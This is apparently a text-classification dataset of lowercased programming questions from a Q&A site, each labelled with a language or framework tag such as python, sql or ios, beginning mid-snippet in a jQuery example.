&lt;input type= text  value=   + oldcontent+   /&gt; );             $(this).children().first().focus();             $(this).children().first().keypress(function (e)             {                 if (e.which == 13)                 {                     $(this).parents( tr ).css( background-color    white );                     var newtext= $(this).val();                     $(this).parent().text(newtext);                     $(this).removeclass( editclass );                 }             });         }     });     $(this).children().first().blur(function () {         $(this).parent().text(oldcontent);         $(this).removeclass( editclass );     });     return false; }) </code></pre>,jquery
how to scan in user input and convert into a gregorian calendar  is there any simple way to use scanner and place it into a variable of type gregoriancalendar or to convert the string into a gregoriancalendar  specifically  i need the user to enter a date in the format mm/dd/yyyy on one line  and a starting and ending time on another (user doesn t have to enter an ending time if the event has none) in the form of a 24 hour clock (eg. 15:30 = 3:30pm).     anyone have any ideas  all i see online is how to print a gregoriancalendar in different string formats.,java
table format html  could any one give the html code for the below table using rowspan and colspan    <img src= https://i.stack.imgur.com/ghusa.png  alt= alt text >    many thanks hari gillala,html
hom with objective c  i am new to objective-c  but i tried to use hom (<a href= https://en.wikipedia.org/wiki/higher_order_message  rel= nofollow noreferrer >higher order message</a>) in order to iterate over an <a href= https://developer.apple.com/library/mac/documentation/cocoa/reference/foundation/classes/nsarray_class/nsarray.html  rel= nofollow noreferrer >nsarray</a> and append a string to each element.    here is my code:   <pre><code>void print( nsarray *array ) {     nsenumerator *enumerator = [array objectenumerator];     id obj;      while ( nil!=(obj = [enumerator nextobject]) ) {         printf(  %s\n   [[obj description] cstring] );     } }   int main( int argc  const char *argv[] ) {  nsautoreleasepool *pool = [[nsautoreleasepool alloc] init];   nsarray *names = [[nsarray alloc] init];  nsarray *names_concat = [[nsarray alloc] init];  names = [nsarray arraywithobjects:@ john  @ mary  @ bob  nil];  names_concat = [[names collect] stringbyappendingstring: @  doe ];   print(names_concat);  [pool release]; } </code></pre>   what is wrong with this code     my compiler (<a href= https://en.wikipedia.org/wiki/gnu_compiler_collection  rel= nofollow noreferrer >gcc</a>) says nsarray may not respond to  -collect,objective-c
hot to do ng-show without an attribute  i have bunch of places where i need to add ng-show to the element to hide it. can it be done from one place in the code      so instead of this template:   <pre><code>&lt;tr my-row ng-show= $ctrl.model.toshow() &gt;&lt;/tr&gt; </code></pre>   it should be:   <pre><code>&lt;tr my-row &gt;&lt;/tr&gt; </code></pre>   and then in the directive:   <pre><code>function myrow (){     return {         restrict:  a           templateurl:  my-row.html           ..         link = function(scope el attrs){           scope.$watch( modle.toshow   function(){                   //something here            })         }      }; } </code></pre>,angularjs
what is the most efficient way to extract certain parts of a string   i have the following object:   <pre><code>public class color {    public string rgb =  000225123 ;  } </code></pre>   i need to be able to parse out the r g  and b components  but they may not be in that exact  however  i will know the order.  so one way  it might be <code>rgb</code>  but another way it might be <code>rbg</code>.    i thought about something like this:   <pre><code>string g =  rgb.substring(rgb.indexof( 2 ) 3); </code></pre>   but here i happen to know where the g starts and ends  so i can hard-code it  which leads me to another question of what is the best way to store the order. i have thought about doing something like:   <pre><code>string order =  rgb ;  string rgb =  000225123 ;  string r = rgb.substring(order.indexof( r ) 3); </code></pre>   the above works  but what about the scenario where each part can be a varied length  so <code>r</code> can be 2 or 3 characters for example  would that be something i store separately or would i store it within the order     i might have a number like this:    <code>28-34-29-000-00.0</code>    or it could be in the order    <code>29-34-28-000-00.0</code>    in the above the <code>28</code> and <code>29</code> are switched and i will know this order  i will just need to know how to parse it out.    here is a more realistic scenario and solution  but i am not sure if it is efficient enough:    string order =  tsr ;   <pre><code>string value =  20-10-28-0000-0011 ;  string[] tokens = value .split( - );  string t= tokens[order.indexof( t )];  string s= tokens[order.indexof( s )];  string r= tokens[order.indexof( r )]; </code></pre>,c#
multiple assignments of objects to variable under arc  there s a point of memory management i m not 100% clear on  suppose there is the following code:   <pre><code>{ nsstring *string = [[nsstring alloc] init]; string = [[nsstring alloc] init]; } </code></pre>   does this cause a memory leak of the first allocation  if not why not,ios
try: except: always returns the except  i m facing the following problem in python 2.x:    basically  i m getting a variable s current and previous value with each iteration. on the first iteration prev_var won t be defined just yet so i tried using the try except function  but for some reason the except... option is always returned with each iteration so prev_var is always equal to var. is there a fix / more elegant way of doing this     sorry for the non code block  i m doing this on my phone.    <pre><code>def main():     var = 0      try:         prev_var = prev_var     except nameerror:         prev_var = var      #then at the end of main:     prev_var = var     var += 1 </code></pre>   sorry for my noobishness.  thanks for your time. i m using cinema 4d  if it matters.,python
python error: indexerror: string index out of range  my code looks like this:   <pre><code>    value = input( please enter your 8-digit code:  ) if len(value) &lt; 8 or len(value) &gt; 8:     print( double check to make sure that was 8-digits )     restart()  #checking if the string is all numeric while not value.isdigit():     value = input( please enter as numeric  ) # eg 12345678  if value.isdigit():     #removing the 8th digit and storing it as  check_digit          check_digit = value[7]                       #be sure to check whether or not there is 8 numbers      newvalue = value.replace(value[7]    )  #1234567  8  #reversing the string https://stackoverflow.com/questions/931092/reverse-a-string-in-python newvalue = newvalue[::-1] #7654321  8  #multiplying the 1st  3rd  5th and 7th digits by 2 value1 = newvalue[0]     value1 = int(value1) * 2 #value1 is now an int if value1 &gt; 9:     value1 = value1 - 9  value2 = newvalue[2] value2 = int(value2) * 2 #value2 is now an int if value2 &gt; 9:     value2 = value2 - 9  value3 = newvalue[4] value3 = int(value3) * 2 #value3 is now an int if value3 &gt; 9:     value3 = value3 - 9  value4 = newvalue[6] value4 = int(value4) * 2 #value4 is now an int if value4 &gt; 9:     value4 = value4 - 9 </code></pre>   however each time i execute the code i am greeted by this error: indexerror: string index out of range    i have tried to troubleshoot to find the cause of the problem but i can t figure it out.,python
add active class to li element in an already existing javascript code with onclick  i see bunch of threads asking how to add a class to make a tag active with javascript. but in my case i already have a javascript which generates a playlist in an ordered list (ol>li>a) so i am having difficulties implementing it....   <pre><code>    //create a function to load a playlist var function loadplaylist(theplaylist) {     jwplayer().load(theplaylist) } var playerinstance = jwplayer( container ); playerinstance.setup({     playlist: playlistone });   var list = document.getelementbyid( list ); var html = list.innerhtml; playerinstance.on( ready  function(){ var playlist = playerinstance.getplaylist(); for (var index=0;index&lt;playlist.length;index++){ var playindex = index +1; html +=  &lt;li&gt;&lt;a href= javascript:playthis( +index+ ) &gt;&lt;img alt=  +playlist[index].title+  src=   + playlist[index].image +   /&gt; +playlist[index].title+ &lt;/a&gt;&lt;span&gt; +playlist[index].description+ &lt;/span&gt;&lt;div style= clear:both &gt;&lt;/div&gt;&lt;/li&gt;  list.innerhtml = html; } }); function playthis(index) { playerinstance.playlistitem(index); } </code></pre>   so above generates a playlist  and as you can see  the html += is where the list get its html output. so how would i implement a javascript code so whenever i click on the a link  the li changes to li.active    thanks in advance,javascript
if .net languages are compiled to cil  does the .net language choice matter   if all the .net languages compile down to cil  does that mean that the language behind it (vb.net  c#  etc.) doesn t really matter  or does the compilation process treat code differently between the languages  are there notable differences,.net
ios: podfile lock errors  i am programming for sharing an image to a server based on http socket communication. i came across the imagetransfer source from this link <a href= https://github.com/6david9/imagetransfer  rel= nofollow >source link</a> when i run this project  it gives the following error in xcode.    diff: /users/innovationlab/downloads/imagetransfer-master/pods/../podfile.lock: no such file or directory    diff: /users/innovationlab/downloads/imagetransfer-master/pods/manifest.lock: no such file or directory    the sandbox is not in sync with the podfile.lock. run  pod install  or update your cocoapods installation.    could someone please help resolving this build errors please  i read that i need to do pod install so  followed the below points    <pre><code>1. sudo gem install cocoapods  2. pod setup  3. cd downloads/imagetransfer-master  but  when i do install  4. pod install   </code></pre>   -> it gives error as  analyzing dependencies [!] unable to find a specification for cbextension.      could someone please help me  –     anyone please help,ios
css bug  left is different from right   hello i found a very peculiar thing  apparently left is rendered different from right. see this fiddle: <a href= http://jsfiddle.net/hn8at/2/  rel= nofollow >http://jsfiddle.net/hn8at/2/</a> here is the html   <pre><code>&lt;div id= wraper &gt;     &lt;div id= ribbon_ct &gt;         &lt;div class= ribbon left &gt;&lt;/div&gt;         &lt;div class= ribbon right &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and the css   <pre><code>body{ margin:0; padding:0px; } #wraper{ width:800px; margin:0 auto; background:#eee;padding-top:500px;} #ribbon_ct{ width:100%; background:#c00; height:400px; } .ribbon{background:#0c9; width:30px; height:30px; position:relative;} .left{float:left;} .right{float:right;}  .ribbon.left{  left:-30px;} .ribbon.right{ right:-30px;} </code></pre>   i have 2 green squares on either side  one causes a scrollbar  the other does not. you can only scroll the right one into view. any ideas as to why,css
to compare columns in two tables and update the differences if any  <strong>table a</strong>:   <pre><code>name        id --------------- peter       45 johny       46 mary        47 micheal     48 elizabeth   49 </code></pre>   <strong>table b</strong>:   <pre><code>name        id     gender ----------------------------- peter       12       m johny       null     m mary        47       f micheal     48       m elizabeth   28       f </code></pre>   i want an update query to populate the below result in table b.   <pre><code>name        id     gender ----------------------------- peter       45       m johny       46       m mary        47       f micheal     48       m elizabeth   49       f </code></pre>,sql
check whether a table column has any value  i have model named <code>shirt</code> which has a field named <code>fabric</code>   in the controller  i have;   <pre><code>@fabrics = shirt.uniq.pluck(:fabric) </code></pre>   on the view i would like to display a <code>&lt;div&gt;...&lt;/div&gt;</code> but only if the <code>fabric</code> column of the <code>shirts</code> table contains at least one value. i have tried:   <pre><code>&lt;% if @fabrics != nil %&gt;   &lt;div&gt;     ...   &lt;/div&gt; &lt;% end %&gt; </code></pre>   but even when the whole column has no value   the <code>&lt;div&gt;</code> is still visible. i have also tried with     <code>&lt;%if @fabrics != blank %&gt;</code> with no success. how can i check whether the column is not empty before rendering the div,ruby-on-rails
how do i validate user input in java against two arrays   my task is to code a small program that would calculate an administrator access code that changes daily based on a predefined algorithm (month * day * constant).    i have the gist of the code written for my main method with the basic functionality pulling from java.time.localdate &amp; format.datetimeformatter and then parsing the string into an integer and then calculating and displaying the results.   <pre><code>string month = datetimeformatter.ofpattern( mm ).format(localdate); string date = datetimeformatter.ofpattern( dd ).format(localdate); int monthresult = integer.parseint(month); int dateresult = integer.parseint(date); int adminaccess = monthresult * dateresult * seed; system.out.println( admin passcode is:   + adminaccess); </code></pre>   but now i want to take this to the next level and incorporate an option to calculate the access code manually via user input.    i want to validate the user input and allow numeric or string input before taking the input and assigning the correct integer representation based on their input. i m looking to ultimately do something along these lines (anticipated program flow) <a href= https://i.stack.imgur.com/wm8a5.jpg  rel= nofollow noreferrer >1</a>. i m not sure if i m just too far above my head  but i can t quite wrap my mind around what functionality i should use a for  do while or a switch to process the validation. all i have right now is:   <pre><code>class usermanual {             public void run() {                 string [] months = { january    february    march    april    may    june    july    august    september    october    november    december };                 string [] nummonths = { 1    2    3    4    5    6    7    8    9    10    11    12 };                 scanner scan = new scanner(system.in);                 string manual = scan.next();                 for () {}             }         } </code></pre>   any ideas would be greatly appreciated!!,java
how can i make the scroll bar of the page appear when i zoom the page in   how can i make the scroll bar of the page appear when i zoom in on the page     i had a page contain tables and when i zoom in the page i can t see some information until i zoom out.    why is the page not showing the horizontal scroll bar,html
what are semantics   i don t quite understand the concept of semantics. in layman s terms  what are they  i really find it difficult to actually grasp a simple understanding about what it is  so if anyone could just elaborate it in a way an idiot like me would comprehend it  i would really appreciate it.,html
can python decorators be used to return non-function objects   in python  can you write a decorator that returns a non-function object  like a string or a dictionary  for example  considering this code:   <pre><code>def decorator(function):     return str(function)  @decorator def foo(bar):     return bar + 1 </code></pre>   this code works  but is it an accepted practice within the community,python
how do i examine contents of a stream before assigning it to string   i am receiving an <code>httpwebresponse</code> containing both xml and a <code>filestream</code> of unknown length. i know that streams can contain a <a href= https://stackoverflow.com/questions/9281470/ >very large</a> amount of bytes  but the upper limits of strings are <a href= https://stackoverflow.com/questions/140468/ >significantly smaller</a>. inside the xml i have a <code>&lt;size&gt;</code> tag that tells me how big the <code>filestream</code> is.     is it possible to get the information from the <code>&lt;size&gt;</code> prior to assigning the stream contents to a string  i want to prevent unhandled exceptions when i <code>myxmlresponse=mystream.readtoend</code>  if the service sends me something bigger than it should.,.net
can objects manage their own destruction (using arc)   i have a controlling parent class that needs to perform several actions  these actions typically have a very short lifespan. i m using a factory class to create these objects and have some questions about how to best manage their demise and if more than one can safely co-exist. here some example pseudo code:   <pre><code>@interface parent @property (strong  nonatomic) abstractchild*  action; - (abstractchild*) makeconcretechildoftype:(type)type; - (void) performactiona; - (void) performactionb; - (void) performactionc;  ... - (void) performactiona; {     self.action = [self makeconcretechildoftype:a];     [self.action doyourthing]; }  - (void) performactionb; {     self.action = [self makeconcretechildoftype:b];     [self.action doyourthing]; } </code></pre>   i have quite a lot of different types of actions and each child action class knows what it has to do and when its finished doing it. i could create separate properties for each different type of concrete action instead of having one abstract property  and have each child object inform the parent when its finished via a delegate  however that s starting to get a little messy especially when the fact that multiple actions of the same type could potentially be active at once (which would require arrays of pointers to objects of each type). therefore i m wondering if/how the child objects can manage themselves  specifically their own destruction.    if each object looked something like this:   <pre><code>@implementation childobjecta  -(void) doyourthing {    [self retain];    do something }  - (void) oncompletion {     [self release]; } </code></pre>   then is this safe to do  - could the parent class create multiple objects of the same type and they all live for as long as each is needed and effectively are deleting themselves when done and they can exist in parallel and delete themselves when done without issue     there is presumably no need for the action property of the parent class  but if it was kept then i d like to confirm there s no problems with memory management that arise  i presume not as each time self.action is assigned to arc will release the associated child object but it won t be deleted until the child object releases itself,objective-c
"angularjs : `load more` button in each group of ng-repeat with many groups titles  i want to add <code>load more</code> button to the bottom of each group like the image here  and after clicking the button it shows rest of parts of the relevant  group  <a href= https://i.stack.imgur.com/icmli.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/icmli.png  alt= enter image description here ></a>    where a g are groups titles those have <code>group</code> property     in the snippet bellow  the code return only one <code>load more</code> button  and with no consideration of the <code>group</code> property.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var myapp = angular.module( myapp  []);
 
 myapp.controller( main   [ $scope   function($scope) {
 $scope.test =  test ;
 $scope.filteredmodules = [
   {
        name : a  
        group : a 
     } 
     {
        name : b  
     } 
     { 
        name : c  
     } 
     { 
        name : c  
     } 
     { 
        name : e  
     } 
     { 
        name : f  
     } 
     { 
        name : g  
        group : g 
     }
      { 
        name : h  
     } 
     { 
        name : i  
     } 
     { 
        name : j  
     } 
     {
        name : k  
     }
      
     {
        name : l  
     }
 ];
 $scope.limit = 4;
 $scope.loadmore = function() {         
     var increamented = $scope.limit + 4;
     $scope.limit = increamented &gt; $scope.filteredmodules.length   $scope.filteredmodules.length : increamented;
     };
 }]);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;div ng-app= myapp &gt;
 &lt;div ng-controller= main &gt;
 &lt;div ng-repeat= node in filteredmodules | limitto:limit track by $index &gt;
     &lt;div ng-if= !node.group &gt;{{node.name}}&lt;/div&gt;
     &lt;div ng-if= node.group  style= background-color:red &gt;{{node.name}}  &lt;/div&gt;
 &lt;/div&gt;
 &lt;button ng-click= loadmore() &gt;load more&lt;/button&gt;
 &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
how to make sure that recently created area points to null   how can i make sure that  for each allocated new space on heap area  the recently created element of vector of pointers points to null     <pre><code> ex:    vector &lt; sometype* &gt;     vector ----------------------           |  |  |  | ...       |           ----------------------     new element is pushed back but no available area so double space     index                         x  x+1            y    vector -------------------------------------------           |  |  |  | ...       |   |   | ...        |           -------------------------------------------                                 ^^^^^^^^^^^^^^^^^^^^^                                  recently created           x  x+1  ... y all points to the null  </code></pre>   i want each space on recently created part point to null,c++
why is the second loop never executed    hi  i am actually working on a python program and i need to read a csv file and use data.append(line) to fill a data array.    i wrote this following part of the program :   <pre class= lang-py prettyprint-override ><code>print  lecture du fichier   table1 lecfi = csv.reader(open(table1  r ) skipinitialspace =  true  delimiter= \t ) # delimiter = caractere utilisé pour séparer les différentes valeurs  tempsize = 0 templast =    oldsize = 0 #on initialise la taille du fichier et la derniere ligne du fichier  if os.path.exists(newfilepath):     tempsize = os.path.getsize(newfilepath)  else:     tempsize = 0 if os.path.exists(newfilepath) and tempsize != 0:     #si le fichier tampon n existe pas  on le créer     #lecture du fichier tampon           lecofi = csv.reader(open(newfilepath  r ) skipinitialspace =  true  delimiter= \t )                  csvfilearray = []     for lo in lecofi:         csvfilearray.append(lo)     templast = str(csvfilearray[0])     templast = templast[2:-2]     oldsize = csvfilearray[1]                    print  tempon de last :    templast     print  taille du fichier :    str(oldsize)        #on récupere la ligne représentant la derniere ligne de l ancien fichier else:     #si le fichier n existe pas  on lui laisse cette valeur par défaut pour le traitement suivant         templast = none      # remplissage des données du fichier pulse dans la variable data cpt = 0 indlast = 0 filesize = os.path.getsize(table1) if oldsize != filesize:     for lecline in lecfi:         cpt = cpt + 1         last = str(lecline)         if templast != none and last == templast:             print  templast != none   cpt             indlast = cpt             print  indice de la derniere ligne :    indlast     print last  templast     print  variable indlast :    indlast     i = 0     for co in lecfi:         print  \ncooooooo :    co         if i == indlast:             data.append(co[0])         i=i+1     for da in data:         print  \n variable data :    da </code></pre>   now look at the prints :    <pre class= lang-py prettyprint-override ><code>lecture du fichier data_q1/2018-05-23/2018-5-23_13-1-35_p_hours_q1 tempon de last :  [ (2104.72652 ] taille du fichier :  [ 20840448 ] templast != none 317127 indice de la derniere ligne :  317127 [ (2104.72652 ] [ (2104.72652 ] variable indlast :  317127 </code></pre>   it seems like the program doesn t care about what s following my for loop. i assume that it can be a really basic mistake but i can t get it.    any help,python
using pointers and address  i have the following c# code:   (updating the code/question)  the code and the project are marked as unsafe   <pre><code>private struct memory_basic_information         {             internal uint baseaddress;             internal uint allocationbase;             internal uint allocationprotect;             internal uint regionsize;             internal uint state;             internal uint protect;             internal uint type;         }   public unsafe static bool checkforsufficientstack(long bytes) {     memory_basic_information stackinfo = new memory_basic_information();      // originally was     // intptr currentaddr = new intptr((uint)&amp;stackinfo - 4096);      gchandle gh = gchandle.alloc(stackinfo  gchandletype.pinned);     intptr p = gh.addrofpinnedobject();      //now - this line passes compilation             intptr currentaddr = new intptr((uint)p - 4096);      // build error in the below line     virtualquery(currentaddr  ref stackinfo  sizeof(memory_basic_information));     return ((uint)currentaddr.toint64() - stackinfo.allocationbase) &gt;                    (bytes + stack_reserved_space); } </code></pre>   and when i compile it i get the error: <strong>cannot take the address of  get the size of  or declare a pointer to a managed type</strong>     this is a code i copied and i was actually surprised to know there is  &amp;  in c# but then build failed.    any idea how to resolve this     the error is now for the last line when we do a sizeof(memory_basic_information),c#
convert variable name to string  how can i convert a <strong>variable name</strong> into a <strong>string</strong>     example:    from this:   <pre><code>nsstring *somevariable int othervariable </code></pre>   i want to get a nsstring with the actual name of the variable  no matter what type it is.<br> so  for the two variables above i would want to get their names (<strong>somevariable</strong>  <strong>othervariable</strong>).,objective-c
becomefirstresponder seems to work only 1st time for shake gesture  i m making my app shake-gesture-compatible by doing this in my uiviewcontroller:   <pre><code>- (void)viewwillappear:(bool)animated {     [self.view becomefirstresponder];     [super viewwillappear:animated]; } </code></pre>   the problem is that when i flip to another view (i m using the  utility app  template which has a flipside view and a root view controller to manage them both) the shake gesture ceases to work when i come back.    i see that the <code>viewwillappear</code> method is called  it just doesn t seem that the view regains first responder status the second time around.,iphone
iphone [request settimeoutinterval:10] not working  app freezes  when i chnage to port number i m connecting to to test the timout  my app freezes. i am calling <code>[request settimeoutinterval:10];</code>  which i assume should be 10 seconds.  but  the app hangs.  could it have something to do with it being a local server     code:   <pre><code>// call this when program first starts -(void) nsendmessage : (nsstring *) name  password: (nsstring *) password page: (nsstring *) page {      // set the url     nsstring *address = @ http://localhost:1075/update ;     address=[ address stringbyappendingstring: page];      nsmutableurlrequest *request =      [[nsmutableurlrequest alloc] initwithurl: [nsurl urlwithstring:address]];      // post or get     [request sethttpmethod:@ post ];      // data to send     nsstring *poststring = @ username=iusername&amp;password=ipassword ;     nsstring *sendstring=[poststring stringbyreplacingoccurrencesofstring:@ iusername  withstring: name];     sendstring=[sendstring stringbyreplacingoccurrencesofstring:@ ipassword  withstring: password];      [request setvalue:[nsstring                         stringwithformat:@ %d   [sendstring length]]     forhttpheaderfield:@ content-length ];      [request sethttpbody:[sendstring                            datausingencoding:nsutf8stringencoding]];      [request settimeoutinterval:10];     [[nsurlconnection alloc]       initwithrequest:request delegate:self];    // //the program freezes here //      nsdata *urldata = [nsurlconnection sendsynchronousrequest:request returningresponse:nil error:nil];       nsstring *response = [[nsstring alloc] initwithdata:urldata encoding:nsasciistringencoding];       // phrase repl     [self  nupdatedisplay:response];  } </code></pre>,iphone
how to create for qr codes and implement to another pages to display  want to create qr code reader based application. using which library  i can create my application   note: i searched in google. always i am getting zxing. i downloaded the zxing project … . but the problem is; i run the application. but it is reading only the barcodes. there is no option to read qr code. please tell me how to do this... thanks in advance. …,ios
how to determine end of file   how to determine end of file    <pre><code>file* cfl; if ((cfl=fopen(csv   r )) == null) {     printf( cannot open file for read.\r\n );     exit(1); } while (!feof(cfl)) {     int i = 0;     char* buf = (char*)malloc(sizeof(char));     while ((buf[i] = fgetc(cfl)) !=  \n ) {         i++;         buf = (char*)realloc(buf  sizeof(char)*(i+1));         printf( =%d=    i);     }     buf[i] =  \0 ;     printf( +%d+    i);     printf( %s\r\n   buf);    free(buf); }  fclose(cfl); </code></pre>   everything works correctly to the last line. since the file ends after the last line break  the program loops in <code>while ((buf[i] = fgetc(cfl)) !=  \n ) {...}</code>    i could interrupt the cycle after checking whether <strong><em> i </em></strong> does not exceed some large value  but it will be wrong. how to correctly determine the end of the file and why <em>feof</em> does not work in this case,c
system.windows.input doesn t exist   i have <code>using system.windows.input;</code> at the top of my program  but it gives me an error saying that:   <blockquote>    the type or namespace name  input  does not exist in the namespace  system.windows  (are you missing an assembly reference )  </blockquote>   and when i let intellisense popup on the period right after <code>windows</code> it only lists <code>forms</code> as a valid option. i m using .net framework 4.0 in visual c# 2010 express...    how can i fix this problem,c#
how does this java code work  <pre><code>public static void main(string[] args) {     int [][]shatner = new int[1][1];     int []rat = new int[4];     shatner[0] = rat;     system.out.println(shatner[0][3]); }     </code></pre>   surprised  the output is 0  why java doesn t check this kind of indexoutofbound error,java
same results looks wrong in hackerrank  i am trying to learn php by answering questions in hackerrank.com but i am stuck on this one.    <pre><code>&lt; php  function plus_minus($array) {     $dimension=count($array);     $negative =0;     $positive = 0;     $zeroes = 0;     foreach ($array as $element) {         $element&gt;0   $positive++ : null;         $element&lt;0   $negative++ : null;         $element==0   $zeroes++ : null;     }     echo number_format($positive/$dimension  6);     echo  &lt;br&gt; ;     echo number_format($negative/$dimension 6);     echo  &lt;br&gt; ;     echo number_format($zeroes/$dimension  6); }   $handle = fopen ( php://stdin   r ); fscanf($handle  %d  $n); $arr_temp = fgets($handle); $arr = explode(    $arr_temp); $arr = array_map( intval   $arr);  plus_minus($arr);   &gt; </code></pre>   here a screenshot:  [<img src= https://i.stack.imgur.com/f5ctd.png  alt= 1] >    is the question wrong or i did i make mistakes,php
avoid hidden field in the web forms  i have a web page and a modal dialog page. on clicking the save button in the show modal dialog. closes the window and returns a value. now when the  control reaches the javascript function of the parent window . i wnt to perform some database operation on the basis of this returned id.     i am using the following approach to utilize this returned value.   <ol> <li>keeping it in the hidden field and populating the returned value in hidden control.</li> <li>keeping a hidden button in the parent window  performing the click event when control comes back to javascript function of the parent page. thus in the server side button handler get the value from hidden field and perform database operation on the basis of returned value.</li> </ol>   is this approach fine. or i can get rid of hidden field,asp.net
count different values in one sql column  i have a sql column like this:   <pre><code>x_all -------- bb aa aa bb cc bb cc cc cc dd </code></pre>   in this column:   <ul> <li>count of aa is 2 </li> <li>count of bb is 3 </li> <li>count of cc is 4 </li> <li>count of dd is 1</li> </ul>   i want to query with sql and get the result below (sort it x_count desc)    how can i write this sql query    <pre><code>x_name  x_count ---------------- cc      4 bb      3 aa      2 dd      1 </code></pre>,sql
find students who enrolled in a course for which there exists a prerequisite that the student has not passed  sometimes i get a syntax error and sometimes i just simply get wrong results. so i have a table called enrollment and a table called prerequisite  they look like:   <pre><code>enrollment(studentno  courseno  term  section  mark)     studentno and courseno are primary keys prerequistie(courseno  prereqcourseno)      courseno and prereqcourseno are primary keys </code></pre>   so now i want to find students who enrolled in a course which s/he did not have  the prerequisite  i.e. the course has a prerequisite in the prerequisite table and the student didn t have the prerequisite. a student  did not have a prerequisite for an  advanced course if there is a prerequisite in which s/he did not enroll  or  s/he failed a prerequisite. a student failed a course if the course mark s/he  obtained is less than 50.    so here s what i ve got:    <pre><code>select distinct enrollment.studentno  enrollment.courseno  prereqneeded.prereq  from enrollment  (select enrollment.courseno  prereqcourseno  studentno             from enrollment  prerequisite                  where enrollment.courseno = prerequisite.courseno and                  not exists                  (select studentno  mark                  from enrollment                  where enrollment.courseno = prereqcourseno                  and mark &gt;= 50)) prereqneeded  where enrollment.studentno = prereqneeded.studentno  and prereqneeded.courseno = enrollment.courseno </code></pre>,sql
html inner table error  below is my html code consists of a table with two rows and the second row consists of two tables in each td. now the second table in the second td displays in middle but not in top. i want that table in top   <pre><code>    &lt;table&gt;     &lt;tr&gt;     &lt;th&gt;upload a file to blockchain&lt;/th&gt;     &lt;th&gt;transaction details&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;table style= width: 100%  bgcolor= #cceeff &gt;                 &lt;tr&gt;                     &lt;td&gt;name &lt;br&gt; &lt;input type=text name=textnames                         placeholder= employee name  id= textname  size= 60 &gt;                     &lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;employee id &lt;br&gt; &lt;input type= text                          placeholder= employee id  name= fathername  id= fathername                          size= 60 &gt;&lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;contact no. &lt;br&gt; &lt;input type= text  name= paddress                          placeholder= contact number  id= paddress  size= 60 &gt;&lt;/td&gt;                 &lt;/tr&gt;              &lt;/table&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;table width= 100  height= 100 &gt;                 &lt;tr&gt;                     &lt;th&gt;from party&lt;/th&gt;                     &lt;th&gt;to party&lt;/th&gt;                     &lt;th&gt;docs&lt;/th&gt;                     &lt;th&gt;created state&lt;/th&gt;                     &lt;th&gt;status&lt;/th&gt;                 &lt;/tr&gt;             &lt;/table&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>,html
concatenate ` :` conditional strings in javascript  i set a break point in my javascript and i typed the following expressions into the chrome browser console window:    typed:   <pre><code>(((i % 12) == 0)    12  : (i % 12)) </code></pre>   result:   <pre><code>9 </code></pre>   typed:   <pre><code>    + (i &lt; 12)    am  :  pm  </code></pre>   result:   <pre><code> am  </code></pre>   typed:   <pre><code>(((i % 12) == 0)    12  : (i % 12)) +     + (i &lt; 12)    am  :  pm  </code></pre>   result:   <pre><code> am  </code></pre>   my expectation was that the last result would be  9am   which is what i want. that s the result i get if i type <code>9 +  am </code>. why does it just give me  am      am i making a stupid mistake here somewhere  or is there something here that extends beyond my limited understanding of the inner workings of javascript  <code>i</code> is just a <code>for</code> loop variable.,javascript
android webview issues  i have created a webview     <pre><code>    &lt;webview       android:id= @+id/webview_compontent      android:layout_margintop =  10dp      android:layout_width= wrap_content       android:layout_height= wrap_content       android:layout_weight= 1.0         android:background= #ffffff  /&gt; </code></pre>   and in my class.java file    <pre><code>    webview  = (webview) findviewbyid(r.id.webview_compontent);      //need to enable scrollbars when in zoom     webview.sethorizontalscrollbarenabled(true);      webview.setverticalscrollbarenabled(true);       webview.setpadding(0  0  0  0);      //page is bigger than view so fit it inside the view     webview.setinitialscale(40);      //enable zooming     webview.getsettings().setbuiltinzoomcontrols(true);      webview.loadurl( www.xyz.com );     webview.setwebviewclient(new mywebviewclient());      //to disable the link clicks on the page     webview.setontouchlistener(new view.ontouchlistener() {         @override         public boolean ontouch(view v  motionevent event) {             // todo auto-generated method stub             return true;         }     }); private class mywebviewclient extends webviewclient {     @override     public boolean shouldoverrideurlloading(webview view  string url) {         view.loadurl(url);         return true;     } }  </code></pre>   my problem is that i want to diable all the link clicks inside webview but allow zooming with vertical and horizontal scrolls so that the user can zoom and read the text.if i set   webview.setontouchlistener  to  ture  my webview does not respond to click events which i want but zoom control also stops which i want to be enabled. how can i filter zoom and link clicks event and enable/disable the view accordingly.    please help me how to go about this.    thanks,android
how do i create a large 2d vector in c++   the following statements run perfectly on my local windows machine  but when i submit it online  (<strong>on some online coding competition judges  not all</strong>) it gives me a bad allocation error.   <pre><code>#define maxv 100001 vector&lt;vector&lt;bool&gt;&gt; mat(maxv  vector&lt;bool&gt;(maxv false)); </code></pre>   when i run my code online  it gives me the following error message:   <pre><code>terminate called after throwing an instance of  std::bad_alloc    what():  std::bad_alloc </code></pre>   is it the proper way to define a large 2d vecotr,c++
is there a way to take the weighted average of a list of decimal numbers using numpy in python   i am attempting to take the weighted average of a list of decimal numbers using numpy.average; however  i am receiving a typeerror. for example  consider the following.   <pre><code>&gt;&gt;&gt; from decimal import * &gt;&gt;&gt; import numpy &gt;&gt;&gt; s =  1.00000001  &gt;&gt;&gt; l = [] &gt;&gt;&gt; l.append(decimal(s)) &gt;&gt;&gt; l.append(decimal(s)) &gt;&gt;&gt; numpy.average(l) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt;   file  /usr/lib64/python2.6/site-packages/numpy/lib/function_base.py   line 612   in average     avg = a.mean(axis) typeerror: unsupported operand type(s) for /:  decimal  and  float  </code></pre>   how do i take the weighted average of a list of decimal numbers without converting to a float and losing precision of the values using numpy,python
